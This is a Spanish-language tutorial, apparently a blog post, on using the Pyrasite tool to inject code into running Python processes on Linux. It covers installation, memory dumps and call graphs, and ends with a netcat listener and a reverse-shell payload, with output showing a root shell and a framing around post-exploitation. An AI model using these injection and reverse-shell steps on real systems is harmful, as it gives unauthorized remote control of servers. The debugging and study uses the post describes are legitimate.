Inyectando código en procesos de Python con Pyrasite

Pyrasite es una herramienta que nos permitirá inyectar código fácilmente en cualquier proceso Python en ejecución.

Seleccionando el payload adecuado, o creándonos el nuestro propio, podremos listar módulos, dumpear la memoria, crear una shell inversa y mucho más. Imaginaros las posibilidades de análisis y post-explotación en un servidor Linux...

Para empezar, en mi caso y como esto no lo va a leer el señor Linus Torvalds, tengo que decir que lo he probado en OpenSUSE y funciona perfectamente.

La instalación como siempre, gracias a los gestores de paquetes, es muy sencilla:

# zypper install python-devel python-pip
# pip install Jinja2
python-pygments
# easy_install Cython meliae
# easy_install pyrasite
# git clone git://git.fedorahosted.org/git/pyrasite

Una vez que lo tenemos, vamos a ejecutar un pequeño servidor web para empezar a jugar:

# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

Y nos apuntamos el PID del proceso:

# ps -ef | grep python
root 3906 2033 0 23:53 pts/0 00:00:00 python -m SimpleHTTPServer
root 3948 2459 0 23:54 pts/2 00:00:00 grep --color=auto python

Vamos a comenzar con el típico 'Hola Mundo':

# sudo pyrasite 3906 payloads/helloworld.py

Y comprobamos la salida del servidor:

# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

Hello World!

Ok, ¡parece que esto funciona!. Ahora vamos a cargar el payload dump_memory.py que usa meliae para dumpear todos los objetos al fichero objects.json:

# sudo pyrasite 3906 payloads/dump_memory.py
# file objects.json
objects.json: ASCII English text, with very long lines

Pyrasite también nos provee una herramienta que muestra los valores más altos de los objetos del proceso:

* Previamente necesitamos python-urwid
zypper addrepo http://download.opensuse.org/repositories/network:/utilities/openSUSE_12.1/ opensuse-network-utilities-i586
zypper install python-urwid

# python tools/memory_viewer.py 3906 objects.json


Otro aspecto interesante es la posibilidad de obtener un gráfico con las llamadas del proceso mediante pycallgraph:

# pyrasite 3096 payloads/start_callgraph.py
# pyrasite 3096 payloads/stop_callgraph.py


También tenemos otros payloads para obtener los módulos del proceso, thread stacks y forzar garbage collection:

payloads/dump_modules.py
payloads/dump_stacks.py

payloads/force_garbage_collection.py

Y otros dos aún más interesante para establecer shells inversas:

payloads/reverse_shell_python.py
payloads/reverse_shell,py

Sólo tenemos que utilizar Netcat y llamar como siempre al payload de la shell:

#
nc -l 9001
# pyrasite 3096 payloads/reverse_shell.py

Linux linux-nsl1.site 3.1.0-1.2-desktop #1 SMP PREEMPT Thu Nov 3 14:45:45 UTC 2011 (187dde0) i686 i686 i386 GNU/Linux
Type 'quit' to exit
% id
uid=0(root) gid=0(root) groups=0(root)


Por último, y para completar esta magnífica herramienta, disponemos de un entorno gráfico (pyrasite-gui):


Comentarios